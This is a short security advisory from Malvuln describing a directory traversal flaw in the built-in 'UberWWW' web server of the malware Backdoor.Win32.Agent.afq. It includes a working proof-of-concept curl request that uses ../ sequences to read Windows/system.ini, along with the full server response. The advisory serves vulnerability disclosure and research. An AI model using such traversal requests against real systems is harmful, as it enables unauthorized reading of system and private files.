Backdoor.Win32.Agent.afq Directory Traversal

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/853754de6b8ffbe1321a8c91aab5c232_B.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.afq  
Vulnerability: Directory Traversal  
Description: The malwares built-in server "UberWWW v. 1.1" listens on TCP port 8080. The server allows third-party attackers to read arbitrary files outside of its root directory via ../ character sequences in the pathname.   
Type: PE32  
MD5: 853754de6b8ffbe1321a8c91aab5c232  
Vuln ID: MVID-2021-0189  
Dropped files:   
Disclosure: 04/27/2021  
  
Exploit/PoC:  
curl http://192.168.88.127:8080/../../../../../../Windows/system.ini -v  
* Rebuilt URL to: http://192.168.88.127:8080/Windows/system.ini  
* Trying 192.168.88.127...  
* TCP_NODELAY set  
* Connected to 192.168.88.127 (192.168.88.127) port 8080 (#0)  
GET /Windows/system.ini HTTP/1.1  
Host: 192.168.88.127:8080  
User-Agent: curl/7.55.1  
Accept: */*  
  
HTTP 1.0, assume close after body  
HTTP/1.0 200 OK  
Date: Tue, 27 Apr 2021 01:33:58 GMT  
Server: UberWWW v. 1.1  
Content-Type: application/octet-stream  
Connection: close  
  
; for 16-bit app support  
[386Enh]  
woafont=dosapp.fon  
EGA80WOA.FON=EGA80WOA.FON  
EGA40WOA.FON=EGA40WOA.FON  
CGA80WOA.FON=CGA80WOA.FON  
CGA40WOA.FON=CGA40WOA.FON  
  
[drivers]  
wave=mmdrv.dll  
timer=timer.drv  
  
[mci]  
* Closing connection 0  
  
  
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